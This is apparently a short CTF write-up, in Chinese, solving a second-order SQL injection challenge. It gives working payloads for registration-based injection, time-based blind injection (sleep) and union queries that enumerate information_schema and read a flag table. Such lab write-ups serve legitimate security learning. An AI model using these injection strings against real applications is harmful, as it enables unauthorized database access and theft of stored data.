Rock's blog

兴趣是最好的老师

0%

October 2019 Twice SQL Injection

October 2019 Twice SQL Injection

image-20220327095725958

首先查看页面源代码,未发现异常。

梳理一下程序功能逻辑。

  • 登录 /?action=login
  • 注册 /?action=reg
  • 查看信息 /?action=index
  • 修改信息 /?action=change
  • 退出登录 /?action=logout

看看是否有文件包含。经简单验证后认为没有。

题目名称既然提示是二次注入,那就尝试。

经过测试,发现在注册adminadmin'#后,当修改admin'#的info后,admin的info也会被修改。

猜测此处的sql语句为

1
UPDATE table_name SET info_column='$info' WHERE name_column='$name';

尝试通过时间盲注,发现确实在注册用户名为admin'||sleep(5)#的用户后,在登录时产生了延迟。

也就是说可能在登录后查询info操作时也存在sql注入。

1
SELECT info_column FROM table_name WHERE name_column = '$name'

再尝试注册admin' union select '1'#

发现union注入是可行的.

注出数据库名为ctftraining。

1
username='+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema='ctftraining'#&password=1

有flag,news,users表。

1
username='+union+select+group_concat(column_name)+from+information_schema.columns+where+table_name='flag'#&password=1

其中flag表含flag列

1
username='+union+select+group_concat(flag)+from+flag#&password=1

内容为

image-20220327110554157